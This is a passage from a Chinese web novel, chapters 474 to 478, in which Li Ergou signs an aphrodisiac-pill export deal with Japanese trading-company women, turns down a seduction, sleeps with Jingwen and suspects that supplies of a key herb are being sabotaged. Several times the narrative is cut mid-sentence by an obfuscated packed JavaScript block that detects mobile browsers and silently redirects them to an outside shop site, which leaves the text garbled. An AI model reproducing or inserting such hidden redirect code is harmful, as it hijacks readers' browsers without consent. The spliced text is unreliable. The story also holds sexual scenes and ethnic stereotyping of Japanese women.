“二狗先生,如果您能答应和我们签订一年的合约,我可以答应您的任何要求。” 旧垣结衣的手已经伸入李二狗的衣服里,细腻滑润、触感升温,李二狗不由得一阵激动。 她的手越来越放肆,极度考验着李二狗的意志力。 他闭着眼,内心在剧烈地挣扎着。 即使和松上商社签订一年的合约,自己也不会有多大的损失。 但他心里始终忘不了酒井空。 他此次来到上海另觅合作对象,其中一个重要的原因是想给酒井空一个教训,但他并不想对她赶尽杀绝。 他知道,一旦失去这次合作机会,井伊商社日本总社肯定会追究酒井空的责任,这是他最不愿意看到的。 酒井空因为生意上的事欺骗他,他并不生气,因为他一直认为生意是生意,情感是情感。 不能因为情感耽误生意,也不能因为生意左右情感。 李二狗控制控制再控制,内心已经处在崩溃的边缘。 大胸脯、小脸蛋、大眼睛、小嘴唇,这个旧垣结衣实在是太馋人了。 “旧垣小姐,对不起,我不能答应你。” 李二狗突然握住旧垣结衣的纤纤玉手,理智终于还是战胜了欲望。 旧垣结衣愣住了! 她之前从来没有遇见可以抵御她美色的男人,日本没有,中国更没有,李二狗是第一个。 这更加激起了她争强好斗的性格。 明知山有虎,偏向虎山行。 “二狗先生,您知道吗?从我见到您的第一眼起,我就觉得我们之间一定有会有美好的故事发生。” 李二狗明知她在说谎,但内心还是产生一种自豪感。 “有故事?还美好?呵呵,我从小就喜欢听各种故事,但我知道,故事都是骗人的!” 旧垣结衣再一次贴在李二狗身上。 “故事虽是骗人的,但我这个人却是真实存在的,此时此刻,我们就可以发生真实的故事。” 旧垣结衣挑逗的目光注视着李二狗,手指轻轻地解开了她上衣的第一颗纽扣。 李二狗清晰地看到她白皙的脖颈,还有瓷白的事业线。 这种诱惑对一个正常的男人来说实在是太折磨人了。 李二狗突然站起身,正色道:“旧垣小姐,我是来和你谈生意的,如果你再这样,我只好离开了。” 李二狗作势要走,旧垣结衣赶紧拉住他的胳膊。 “二狗先生,有话好好说,您别走,好吗?拜托了!” “我可以留下来,不过你得答应过我不再这样,不然我立马走人。” 李二狗义正辞严的拒绝不仅没让旧垣结衣气恼,反而心中愈加敬佩李二狗。 “我答应你,二狗先生。” 旧垣结衣系好自己上衣的纽扣,整理了一下衣衫,低头回到自己的座位上。 “二狗先生,实在是对不起,刚刚吓着您了。”旧垣结衣再次道歉道。 李二狗心想,老子走南闯北,见过的女人比你吃过的盐还多,又怎么会被你这点小把戏吓着? 老子不睡你完全是因为不想把生意和女人混为一谈。 “呵呵,说实话,像旧垣小姐这么富有魅力的女人,想拒绝你真的好难!” 旧垣结衣不愿放弃这个挣大钱的机会,既然色诱不成,那便只好装可怜。 装可怜也是女人的一项法宝。 “二狗先生,您可能不知道,我三岁时时没有了父母,七岁时和我相依为命的奶奶又去世了,我是一个吃百家饭长大的孩子。” 旧垣结衣掏出手绢不断擦拭着眼角的泪水。 “我十五岁出来工作,历经千辛万苦才到达今天这个位置,我真的很珍惜,我不能失去这个机会。” 旧垣结衣开始抽泣,继而身体开始抽搐,那梨花带雨的模样就是石头心肠的男人也会心软。 “旧垣小姐,你不要哭了,我们签订三个月的合同可以吗?” “二狗先生,六个月可以吗?求求你了!” 六个月已经超出了李二狗的底线,他是绝对不会答应的。 “旧垣小姐,实在对不起,我只能和你签订三个月的合约。” 旧垣结衣眼泪汪汪地看着李二狗,欲哭还休的样子十分打动人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462464|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。 “虽然签订三个月,但我们可以在合约中注明,在同等条件下,你们拥有优先续约的权利,你看这样好吗?” 旧垣结衣知道见好就收的道理。 “那好吧,二狗先生,那我们现在就签合同吧。” 李二狗有一种上当受骗的感觉,不过他已没有反悔的机会。 “旧垣小姐,我再提醒你们一次,我们生产的这种药丸没有品牌,也没有包装,等运到日本之后,用你们松上商社的商标和包装,一定要记住,这种药丸是你们松上商社生产的,和我们吴氏制药厂无关。” “这是我们合作的前提,一旦你们泄露这个信息,咱们的合同立即作废!这一条必须加入合同当中。”李二狗郑重地提醒道。 旧垣结衣明白李二狗的意图,现在中日两国之间矛盾颇深,随时可能兵戎相见,李二狗此时不愿意让中国人知道他们和日本有生意往来,也是对自己的一种保护。 对于旧垣结衣来说,她巴不得这样,她更愿意这种药丸是她们松上商社的独家产品。 “我都答应你。”旧垣结衣吐气如兰,她越来越喜欢这个李二狗。 “还有一点,这种药丸之前在日本销售的时候使用的是井伊商社的品牌和包装,你们以后不能使用这个名称,必须作为一种新药上市销售。” “那叫什么呢?” 李二狗微微一笑:“井伊商社生产的叫一夜七次丸,我看你们松上商社生产的就叫一夜八次丸吧。” 旧垣结衣听到这个名字会心一笑,忍不住向李二狗竖起了大拇指。 一夜八次丸很明显是一夜七次丸的升级款,消费者会很自然地会把两者联系在一起。 由于商品名称和包装都不一样,井伊商社吃了亏还无话可说。 “二狗先生,您是我见过最聪明的中国人。”旧垣结衣由衷地赞道。 “只是最聪明吗?哈哈。” 旧垣结衣面若桃花,娇声道:“二狗先生,我们还是先签合同吧。” 签订完合同之后,旧垣结衣如获至宝,盯着合同喜上眉梢,这不仅仅是合同,这是大把大把的钱! 第474章 夜探旧垣结衣 “二狗先生,为了庆祝我们合作成功,今天下午请您到我家里吃晚餐,好吗?我为你做正宗的日本寿司,还有三文鱼,请您一定不要拒绝我。” 旧垣结衣态度十分诚恳,令李二狗实在不忍心拒绝。 “感谢旧垣小姐的盛情邀请,我一定准时到。” 旧垣结衣开心极了。 “那我们下午不见不散。” 李二狗回到酒店,他自己也没想到这次上海之行竟如此顺利。 本来他只是抱着试一试的态度来到上海,结果却超乎意料。 看来无论是中国人还是日本人,在面对巨大的金钱诱惑时都很难不动心。 不过想到自己这么做,会将酒井空置于极大的被动当中,他又有些于心不忍。 但酒井空对不起他在先,李二狗只不过是将计就计罢了。 想到这,他心里才轻松了一些。 他收拾收拾心情,准备去赴旧垣结衣的晚宴。 不出意外,今天晚上又是一场鏖战,李二狗已经提前做好了心理准备。 他先来到上海百货公司,购买了一支“丹褀”牌口红。 李二狗有个习惯,去女人家里一定不会空着手去。 对于女人来说,你送的东西她可能并不在意,但她喜欢男人把自己装在心里的感觉,这才是最重要的。 按照旧垣结衣告诉他的地址,李二狗来到日租界。 这里来来往往的行人几乎全是日本人,虽然中国人和日本人之间的长相并没有太大区别,但李二狗人高马大、英俊孔武,一看就不是日本人。 他的出现引得过往路人纷纷侧目。 李二狗不像一般的中国人,见到外国人就自觉矮人一头,走路都要低着头。 他趾高气昂的走在路上,丝毫不把这些日本人看在眼里。 来到一座公寓前,李二狗按照纸条上的地址径直上了三楼。 走到门前,他下意识地低头整理了一下衣服,然后才抬手轻敲了三下房门。 里面很快便传来旧垣结衣走动的声音。 她没有问,而是直接从里面打开了房门。 “二狗先生,您来了。” 旧垣结衣今天穿了一件天蓝色和服,头发高高挽起,上面插了一个发髻,显得清新脱俗。 其实李二狗并不喜欢日本和服,在他看来,日本和服把女人的身体包裹的严严实实,根本不能凸显女人玲珑的曲线,完全比不上中国的旗袍。 李二狗刻意表现的很松弛,笑着问道:“旧垣小姐,你也不问一下就开门,难道就不怕我是坏人吗?” 旧垣结衣“噗嗤”一笑,说道:“这里是日租界,中国人不敢轻易进来的。” 她说完才意识到自己说错了话,急忙解释道:“对不起,二狗先生,我不是有意的,我的意思是这里是高档公寓,很安全的。” 李二狗心里暗骂道:“安全个屁,老子还不是想来就来。” “呵呵,旧垣小姐不用道歉,我们中国人确实有坏人,就像你们日本也有好人一样。” 李二狗一句话噎的旧垣结衣哑口无言,想玩文字游戏,她根本不是李二狗的对手。 她赶紧转移话题道:“二狗先生,快请里面坐,您千万别见外,就和到了自己家里一样。” 李二狗把手里的礼盒送给旧垣结衣。 “在商店看到这款口红的颜色特别适合你,就买来送你,希望你会喜欢。” 旧垣结衣夸奖地说道:“啊!还给我买礼物了,二狗先生真是太客气了,谢谢你。” “打开看看喜欢吗?” 旧垣结衣兴奋地从礼盒里拿出口红,立刻喜笑颜开。 “二狗先生真是太有眼光了,我最喜欢的就是这个颜色。” “你喜欢就好。” “我当然喜欢了,二狗先生送我任何东西我都视若珍宝。” 旧垣结衣没脸红,李二狗的脸倒红了。 她说话的声音不仅嗲,而且还拖着长长的尾音,特别撩人心智。 李二狗都怀疑她和白天干练的旧垣结衣根本不是一个人。 “旧垣小姐客气了,只要你喜欢,我就放心了。”</ ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467301|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 旧垣结衣给李二狗倒了一杯柠檬水。 “二狗先生,您先喝点柠檬水等一等,晚餐马上就做好了,实在是抱歉,没能在你到来前把晚餐准备好,请您见谅。” 旧垣结衣说着便向李二狗深深地鞠了一躬,日本人永远是这么客气。 “是我给你添麻烦了,我能帮你做点什么吗?” “不用,不用,您坐在这里等就好,我很快就做好了。” 旧垣结衣进入厨房之后,李二狗一边喝着柠檬水一边审视着这间屋子。 屋子里的布局完全没有日本和室的影子,房间是典型的中式格局。 木门上雕刻着缠枝莲纹样式,迎面靠墙的地方摆着一张梨花木长案,案上没放一般家庭常摆放的古董、瓷器之类的物件,而是搁着一方砚台和几卷宣纸。 一支狼毫笔斜倚在青瓷笔洗旁,笔锋还沾着未干的墨汁。 李二狗站起来,走到一个靠窗的位置,那里摆放了一张罗汉床。 床上面铺着一个月白色细麻垫子,垫子上面放着一本线装的《诗经》,书页间夹着一片风干的银杏叶。 墙上没挂西洋画,而是挂了一幅水墨兰草,仔细一看,下方的落款竟是旧垣结衣的名字,笔意虽生涩,却透着一股认真。 李二狗没想到,旧垣结衣还会画中国画。 罗汉床旁边的角落里立着一个**架,最上层摆着一个青花瓷瓶,里面插着两枝含苞待放的腊梅花。 下层则整齐地码着几本唐诗选,书脊已经被摩挲得发亮。 **架最下层放着一个小小的竹编篮子,里面盛着晒干的艾草,清苦的香气混和着墨香,在空气里静静弥漫着。 夕阳透过雕花木窗,在地上投下一片细碎的光影,照得梨花长案上那方端砚的包浆愈发温润。整个房间不见半分日式物件,却处处透着对中式雅趣的偏爱,就像门口衣架上那件素色旗袍,安静地融在这方天地里,自有一种清雅的韵致。 李二狗突然意识到,如此热爱中国文化的旧垣结衣,今晚身上的那件天蓝色和服是专为他而穿。 第475章 色诱李二狗 “二狗先生,让您久等了。” 旧垣结衣端着一盘精致的寿司放在餐桌上,一脸歉意。 李二狗很难理解她的心态,在家中做饭还要穿着一身精致的和服,难道就是为了让李二狗一饱眼福吗? 对于李二狗来说,女人穿什么衣服都不如不穿衣服好看。 “旧垣小姐,你太客气了,是我给你添麻烦了。” 旧垣结衣保持着优雅的笑容。 “二狗先生能来家里是我莫大的荣幸,请您稍等,还有两个菜我去端来。” 旧垣结衣上完菜之后又拿来一瓶清酒。 “二狗先生,我们喝点清酒可以吗?” 李二狗之前喝过清酒,味道淡淡的,还有一丝甜味,不是很合自己的口味。 他知道,今晚无论喝什么都会喝醉,醉翁之意不在酒,这些他都懂。 “客随主便,我都可以。” 旧垣结衣微笑着起身给李二狗倒了满满一杯清酒,脸颊绯红,像一颗半熟的大樱桃。 “二狗先生,今天非常荣幸,您能到我家中作客,用你们中国的一句古语叫蓬荜生辉,再次欢迎您的到来。” 李二狗端起酒杯和她轻轻碰了一下,没想到旧垣结衣一饮而尽,李二狗只好跟着干了一杯。 “旧垣小姐的酒量实在是令人佩服,我一直以为你们日本女人都不喝酒。” 李二狗是故意的,因为之前他听酒井空说过,在日本,女人在家中的地位非常低下,别说喝酒,就连上桌吃饭的权利都没有。 “二狗先生说的没错,在我们日本,绝大多数女人是不能喝酒的。” “旧垣小姐,咱们既然认识了就是朋友,朋友之间不必这么客气,你不要总是二狗先生二狗先生的称呼我,不如直接叫我二狗吧,我叫你结衣,你看可以吗?” 旧垣结衣笑道:“我当然是求之不得了,这是我的荣幸,二狗。” “结衣,来,我们再喝一杯。” 三杯五杯下了肚,此时,旧垣结衣的脸颊变成了一颗熟透的大樱桃。 酒一多,话也变得多了起来。 “二狗,你知道吗?我非常喜欢你们中国的传统文化,每次只要一闻到墨香,我就全身感到舒畅。” 李二狗故意环视一圈房间之后才说道:“能看得出你非常喜欢我们中国的传统文化,既然这么喜欢,以后你可以留在我们中国。” 旧垣结衣若有所思地点了点头,像是有什么心事一般。 “二狗,你知道吗?没来中国之前,我每天都活在痛苦和挣扎之中,来到中国之后,我才真真切切地感觉到自己是一个活人,是一个有尊严的人。” 旧垣结衣说到动情处,声音变得哽咽起来。 李二狗把自己的手绢送到旧垣结衣面前。 “结衣,擦擦眼泪,我代表中国欢迎你。” 旧垣结衣接过手绢,没有丝毫犹豫,擦了擦脸上的泪水。 “所以,我必须要做出业绩,日本总社才不会把我调回日本,我才能继续留在中国。” 李二狗心想,之前又是赞美,又是哭泣,原来一切都是为了生意。 日本女人看着温柔体贴、人畜无害,其实都是一肚子主意。 “结衣,你放心,只要机会合适,我们一定可以合作的非常愉快。” “嘻嘻,二狗,你为什么对我这么好呀?” 旧垣结衣突如其来的一问,倒把李二狗问愣了。 一旦女人这样问一个男人,男人根本无法否认。 “我对你好是因为你对我好,人与人之间的好都是相互的,你说对吗?” 李二狗的回答简直无懈可击。 你若对我虚情假意,我便对你虚情假意。 你若真心实意的对我,我也会真心实意的对你。 我对你怎么样一切都取决于你对我怎么样。 旧垣结衣微微一愣,当即听出了李二狗话中之意。 这个男人总是能在无形之中掌控话语的主动权,实在是一个难以对付的男人。 她端起酒杯,绕过餐桌,坐到李二狗身旁。 李二狗并没有躲闪,他挺直身子,显得云淡风轻,仿佛在告诉旧垣结衣,有什么招数就尽管用吧,我根本不怕你。 “二狗,你喜欢我这里吗?”</p ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467302|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 李二狗微微一笑,转头看向旧垣结衣,从她的眼神里读出了我想要你的渴望。 “我很喜欢,这里很雅致,和你的气质很像。” 旧垣结衣佯装醉酒,伏在了李二狗的肩膀上。 “你如果喜欢,我家的大门随时向你敞开。” 李二狗转头看着有些醉意的旧垣结衣,不知道什么时候,她合服的衣领处已经敞开,能清晰地看到里面的沟沟壑壑。 “结衣,只有大门向我敞开吗?” “什么门都向你敞开,好吗?” 旧垣结衣佯装不胜酒力,顺势躺到了李二狗的大腿上。 两人四目相对,内心都有些躁热。 “结衣,你喝醉了,我扶你到床上休息吧。” 一听到要上床,旧垣结衣眼里立刻亮了起来。 “我头真得好晕,真是不应该喝这么多酒。” 李二狗只好扶着旧垣结衣进了卧室,里面一张黄梨花木雕刻的木床显得富丽堂皇,他恍惚间有一种马上要入洞房的感觉。 旧垣结衣双手环绕在李二狗的脖子上不松手。 “二狗,你喜欢我吗?” 她口中虽有酒气,但丝毫遮掩不住那股淡淡的舌齿香气。 “结衣,你喝醉了,快上床休息吧。” “我没醉,我要你说你喜欢我。” 李二狗面对旧垣结衣赤裸裸的诱惑,内心已经有些动摇。 但他知道,如果此时上了她的床,以后就要被她拿捏,这是他不能接受的。 他不喜欢被人拿捏的感觉,生意是生意,感情是感情,两者一旦混淆,就变成了交易。 “结衣,乖乖听话上床睡觉。” 李二狗费了好大的力气才把她放到床上。 旧垣结衣拉着李二狗的手不松手。 “二狗,你到底喜不喜欢人家嘛?” 李二狗只好说道:“我很喜欢你,但是你今天喝醉了,等你酒醒了我们再说好吗?” “我不要,我不要,我现在就要!” 她猛地一用力,竟把李二狗拉到自己身上,火热的唇立即吻住了他的嘴。 476章 我要好好犒劳犒劳你 李二狗紧闭牙关,不给旧垣结衣任何可乘之机。 旧垣结衣努力了好几次都没有成功,当她想去解开李二狗的腰带时,却被李二狗的一双大手牢牢的抓住了。 “结衣,我不喜欢我们之间的关系掺杂其他情感,你今天好好休息,等你酒醒之后我们再聊。” 李二狗说完便快步走出了卧室,外面传来了他关门离开的声音。 旧垣结衣躺在床上笑了。 她没想到这个男人竟如此有趣。 面对送上门的美人都能做到无动于衷,这样的男人日后一定是可以成就一番事业的男人。 旧垣结衣闭上眼,睡得特别香甜。 李二狗回到酒店,内心依然感到无比燥热。 他是一个正常的男人,可以抵御诱惑,但很难做到无动于衷,尤其是面对旧垣结衣这样的人间精灵。 李二狗这次来上海还有一个目的,便是探望吴有德,但很不巧,他去了香港出差。 没想到错过这次相见,竟成为李二狗心中永远的遗憾,当然这是后话。 第二天,李二狗便离开上海,回到省城。 “二狗,你可算回来了,谈得怎么样?”一见面,静雯便迫不及待地问道。 不过她从李二狗轻松的表情中已经得到了答案。 “比想象中还要顺利,已经和上海一家商社谈好合作了,价格比之前的涨了五成,你马上安排发货吧。” “二狗,”静雯激动地搂住李二狗的脖子,跳到他身上,“你实在是太伟大了,我要好好犒劳你。” 静雯抱着李二狗就是一顿乱啃,李二狗在上海本来就积蓄了满腔**,此时终于找到了着陆点。 他抱起静雯就上了楼,在楼梯上正好遇到下楼的孙小雨。 李二狗怀疑她是故意在这时候下楼的。 “狗哥,你回来了。” 孙小雨脸不红心不跳,静雯却闹了个大红脸。 “你快把我放下来。”她催促道。 李二狗故意想在孙小雨面前表现和静雯的恩爱,以便让她彻底对自己死心。 他把静雯抱得更紧了。 “是啊,刚从上海回来,这不你静雯姐说要好好犒劳犒劳我,也不知道她想怎么犒劳,哈哈。” 静雯羞得双手直拍李二狗的后背。 “你怎么什么话都说啊?快把我放下来。” 李二狗置若罔闻。 “那你们忙吧,我……我出去一趟。” 孙小雨没想到李二狗竟能当着她的面说出如此不要脸的话,内心对他的怨恨反而更深了。 对于女人来说,得不到并不会让她死心,反而会增加她对男人的怨恨。 李二狗对女人的了解还是太肤浅了! 孙小雨走后,李二狗抱着静雯进了屋。 静雯埋怨道:“二狗,你今天怎么回事?人家小雨还是个小姑娘,你怎么能当着她的面这样放肆?注意点影响好不好?” 李二狗不以为然地说道:“小姑娘也不小了,肯定什么都懂!” 静雯嗔骂道:“你要死啊?去了趟上海,怎么脸皮变得如此之厚?你是不是受到什么刺激了?” 李二狗没想到静雯的思维跳跃的这么大,还挺准。 “别瞎想,我只是觉得咱们在自己家里,小雨又不是外人,大家都是年轻人,没必要总是规规矩矩的,太过刻意反而显得做作。” 静雯凝视着李二狗的眼睛,仿佛要看透他的内心一般。 “二狗,你难道没发现小雨看你的眼神和看别人不一样吗?” 李二狗心虚地说道:“别瞎说,我没看出来不一样,人家小雨还是个姑娘。” 静雯暗中观察着李二狗的眼神,发现他说话时眼神并没有躲闪,内心稍安。 “你刚才还说她不是小姑娘?二狗,你老实告诉我,你对她到底有没有那种想法?” 李二狗严肃地说道:“当然没有,静雯,以后可千万别说这种话,让小雨听到多想,反而不好,你说呢?” 静雯并不死心,继续追问道:“其实小雨这孩子人挺活泼,长得也漂亮,你如果真有意,我并不反对。” 女人在床上说的话要反着听,对此李二狗心知肚明。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472666|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>世界上根本没有大度的女人,如果有,也是因为无可奈何。 “静雯,如今这样,我已经很对不起你了,我怎么可能再觊觎你身边的女人?我是脸皮厚,但不是不要脸,以后这样的话不要再说了。” 静雯被李二狗感动的泪流满面。 “二狗,你对我真好。” “我对你这么好,你是不是也对我好一点?” 李二狗假装露出一副**的表情。 “你讨厌!” 两人滚在了一起。 李二狗一杆**舞动的上下翻飞。 静雯也拿出十八变武艺,一时间,两个杀得难解难分。 事后,静雯瘫软在李二狗怀里。 “二狗,忘了和你说件事了,酒井空这几天疯了一样,每天都打电话找你,你不在就指明要见我,说是有重要的事情要谈,我一直找借口躲着不见她。” 李二狗微笑道:“她肯定是着急了!这也难怪,如果是我,肯定也着急。你知道咱们的药丸他们在日本卖多少钱一盒吗?” 静雯摇了摇头,李二狗伸出了五个手指头。 静雯不禁倒吸一口凉气。 “这也太黑了吧?简直是暴利啊!” “是啊,如此的暴利他们还不知足,还想压榨咱们,我岂能轻易放过他们?” “那怎么办?找不到你她不会善罢甘休的!” “明天我就回江东,她如果找你,你就说你做不了主,让她找我谈。” 李二狗虽然说的慷慨激昂,静雯心中还是产生了一丝疑惑。 “那让她去江东找你?” 看着静雯玩味的表情,李二狗不动声色地解释道:“他就是到天边找我也没用,我已经和其他商社签订合约了。” “女人一旦哭哭啼啼,杀伤力还是挺大的。” “我对其他女人免疫,尤其是日本女人。” 明知道李二狗在说谎话,但静雯还是挺感动。 一个男人愿意用善意的谎言欺骗你,说明他心里有你。 如果心里没有的话,他肯定连谎话也懒得说。 第477章 酒井空悔不当初 正在这时,有人敲响了房门。 “静雯小姐,门外有人找李先生。” “谁?” “她说她是井伊商社的,叫酒井空,现在正在门外等候。” 李二狗和静雯都没想到酒井空竟然直接上门求见。 “你见不见?”静雯问道。 李二狗知道,自己刚回来,酒井空就找上门,她肯定是在吴公馆周围安排了自己的眼线。 “见吧,她肯定是知道我回来了。” 静雯立马明白了李二狗的意思。 “看来她是迫不及待地想见到你了。” 李二狗边穿衣服边说道:“你先别出去,我单独出去会会她。” “为什么?”静雯一脸错愕。 李二狗忙解释道:“咱们两个人一起去见她就没有回旋的余地了,而且有些事情我会推到你身上。” 静雯笑道:“你的心眼子可真多。” 其实李二狗不想让静雯下楼见酒井空,最重要的原因是他不想同时面对这两个女人。 他怕酒井空情急之下口不择言,日本女人可是什么事情都做的出来。 “让她进来吧,我马上下楼。”李二狗对门外说道。 静雯一边帮李二狗整理衬衣的衣领,一边叮嘱道:“生意做不成不要紧,你可千万别得罪了日本人,他们可是什么事都做得出来。” 李二狗笑道:“你就放心吧,他们日本兵还没有打进省城,咱们怕他们什么?” “小心驶得万年船,没必要得罪日本人。” “我知道了,那我先出去了,你千万别出来。” 李二狗下楼的时候,酒井空正好走进客厅里。 两人四目相对,李二狗丝毫不回避她的目光。 “酒井小姐的消息好灵通啊,我这前脚刚到家,你后脚就赶到了。” 李二狗就是要明明白白地告诉她,别以为你在我家门口安插了眼线我不知道。 “二狗先生这是不想见我吗?” 酒井空对李二狗的问题未置可否,反而质问起了李二狗。 “酒井小姐这是哪里话?咱们是老朋友了,老朋友见面应该分外眼红才对,你说对不对?哈哈,请坐。” 酒井空今天穿了一身绿色小西装,整个人显得非常的干练,但眼角的黑眼圈却十分明显,虽然她刻意涂抹了眼霜,但还是掩盖不住她的疲惫。 “二狗先生这几天去哪了?让我好找。” 李二狗没有回答,反而问道:“不知道酒井小姐这么着急找我所为何事?” “你真是没良心!” 酒井空突如其来的一句话在大厅里回荡,令李二狗浑身一阵颤栗。 他正色道:“酒井小姐此话怎讲?难道我做了什么对不起你的事情吗?” 酒井空突然变得忧伤起来。 “你都不知道,为了你的事人家使了多少劲,求了多少人!” 说着,她便掏出手绢擦起了眼泪。 李二狗心想,你不去好莱坞演电影真是可惜了,要不是早就看穿了你的嘴脸,我差点都信了你! 李二狗故意装起了糊涂,问道:“我的事?我的什么事令酒井小姐如此为难?” “还不是为了药丸的事!我看你们生产的药丸卖不出去,心急如焚,找了总社好多人,求爷爷告奶奶地为你求情,他们终于答应在原来价格的基础上打八折,二狗,我真的尽力了!” 酒井空想要伸手按在对面李二狗的手上,却被他迅速躲开了。 “我得谢谢酒井小姐的好意,你为我做的这些令我十分感动!给你添麻烦了。” 酒井空转悲为喜,一脸娇羞。 “你我之间还用这么客气吗?咱们还是快把合同签了吧,我都准备好了。” 酒井空从包里掏出两份合同放到李二狗面前,并贴心地打开钢笔的笔帽。 “快签吧,以免日本总社那边反悔。” 李二狗接过钢笔,就在酒井空喜笑颜开之时,他却用笔帽盖在了笔尖上。 “怎么了?你为什么不签?”她一脸错愕。 “酒井小姐,首先我感谢你的好意,你为我做了这么多,这份情谊我记在心里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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“吴爷已经和对方签订了合约,我实在是无能为力了。” 酒井空目光呆滞,悔恨的泪水夺眶而出! 第478章 一条毒计 “酒井小姐,实在是抱歉,我一会儿还有事要出去一趟,你看……” 李二狗不愿意酒井空待在吴公馆不走,他害怕她狗急跳墙,做出一些不合时宜的事情,静雯一直怀疑自己和她有说不清的关系。 但酒井空还是不愿意轻易放弃,因为这关乎她的前途和命运。 “二狗,看在咱们往日的情份上,你能不能向吴爷讲讲情?我们井伊商社是日本最大的商社,实力是其他商社无法比拟的,与我们合作咱们双方都可以取得最大的利益。” 李二狗之所以只和松上商社签订了三个月的合约,就是为了给酒井空留个机会。 但酒井空目前并没有向李二狗坦诚自己犯下的错误,这种态度并不能令李二狗满意。 态度决定一切,目前她的态度并不是真心悔过的态度。 “酒井小姐,以后有机会我会把你的话转告给吴爷,但现在……请恕我无能为力。” 话已至此,酒井空知道多说无益,只好回去另想办法。 “谢谢你,二狗,我会记得今天你对我的这番情意,日后一定厚报,告辞。” “酒井小姐慢走。” 看着酒井空单薄瘦小又寂寥的背影,李二狗心中还是产生一丝不忍。 一个日本女人,远渡重洋来到中国拼搏,确实很不容易。 但生意归生意,感情是感情,李二狗不会因为自己和酒井空的感情就便宜了井伊商社。 “人都走远了,还看呢?” 李二狗闻言吓了一跳,不知道什么时候,静雯已经出现在自己身后。 “我只是心中有些感慨罢了!” 静雯醋意十足的揶揄道:“感慨?感慨什么?难道是看她这副娇滴滴的样子,你心软了?” “如果心软,我又怎么会去上海和其他商社谈合作?我只是觉得……哎,不说了,咱们现在赶紧去一趟工厂,上海那边还等着咱们发货呢。” 静雯尽管心中有太多的疑惑,但李二狗不愿意说,她也不敢多问,两人一起出了门。 和李二狗预料的一样,一夜八次丸登陆日本之后,因为之前一夜七次丸取得的良好口碑,立即引发了抢购狂潮。 有的男人竟然一次囤积了三年的量,旧垣结衣一遍遍来电报催促,让尽快往日本发货,有多少发多少! 积压的药丸在不到一个月的时间内全部售罄,吴氏制药厂这一次赚的盆满钵满。 “静雯,我们必须进一步加快生产进度,我看咱们还得再招收一些工人。” “二狗,正好有个事情要和你说,咱们出去购买原料的人刚刚回来说,有一味药材目前在市面上根本买不到。” “买不到?什么药材买不到?” 李二狗大吃一惊,买不到原材料,那就没法生产,那损失将相当大。 “是淫羊藿。” 李二狗以为是因为近期吴氏制药厂用量太大而造成的暂时短缺。 “那就让采购的人去远一点的省买。” 静雯叹息一声,显得非常无可奈何。 “去过了,他们一路往南,都过了长江了,还是买不到,再往南就不是淫羊藿的产地了。” 淫羊藿是一夜八次丸最重要的原料之一,没有这种原料,根本生产不了这种药丸。 李二狗这才意识到事情的严重。 “只有淫羊藿买不到吗?其他药材呢?能买到吗?” 静雯十分不解地说道:“你说奇不奇怪?其他药材都可以买到,唯独买不到淫羊藿,这实在令人想不通。二狗,你得快点想想办法啊,不然咱们就真得要停产了。” 李二狗背着手在办公室里踱来躲去,他很快意识到,这很可能是有人故意囤积淫羊藿,目的就是让吴氏制药厂生产不了一夜八次丸。 这一招实在是太狠毒了! 谁会做这种事呢? 李二狗第一时间想到了井伊商社和酒井空。 他们有最大的嫌疑。 静雯当初为了保密,把药丸配方分成四份,在不同的车间进行单独生产。 “静雯,药丸配方都是谁保管的?” 静雯说出了四个人的名字,并强调道:“这四个人都是工厂的老人,他们一向忠诚,应该不会把配方泄露出去。” 李二狗不像静雯这么单纯,他对人性有着更深刻的认知。 